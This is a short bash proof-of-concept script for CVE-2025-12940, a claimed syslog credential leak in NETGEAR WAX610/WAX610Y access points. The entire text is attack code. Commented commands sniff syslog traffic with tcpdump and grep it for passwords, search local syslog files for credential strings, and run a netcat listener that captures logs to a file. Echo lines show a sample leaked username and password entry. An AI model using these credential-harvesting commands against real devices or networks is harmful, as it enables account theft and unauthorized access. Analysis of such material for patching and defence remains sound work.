CVE-2025-12940

#!/bin/bash # CVE-2025-12940 PoC - NETGEAR WAX610/WAX610Y Syslog Credential Leak # This PoC demonstrates how to extract credentials from syslog # Configuration SYSLOG_SERVER="192.168.1.100" SYSLOG_PORT="514" # Method 1: Using tcpdump to capture syslog traffic # tcpdump -i any -A 'port 514' | grep -i 'password\|login\|credential' # Method 2: Reading local syslog file (if accessible) # grep -E '(password|login|passwd|credential)' /var/log/syslog # Method 3: Using netcat to receive syslog messages # nc -l -p 514 -u > captured_logs.txt echo "[+] CVE-2025-12940 Syslog Credential Extraction" echo "[+] Target: NETGEAR WAX610/WAX610Y" echo "[+] Method: Analyze syslog for leaked credentials" echo "" echo "Expected log format example:" echo "Nov 11 17:15:39 WAX610 login: username=<user> password=<pass>" echo "" echo "[+] Use grep to search for authentication-related entries:" echo "grep -E 'login|username|password|auth' <syslog_file>"

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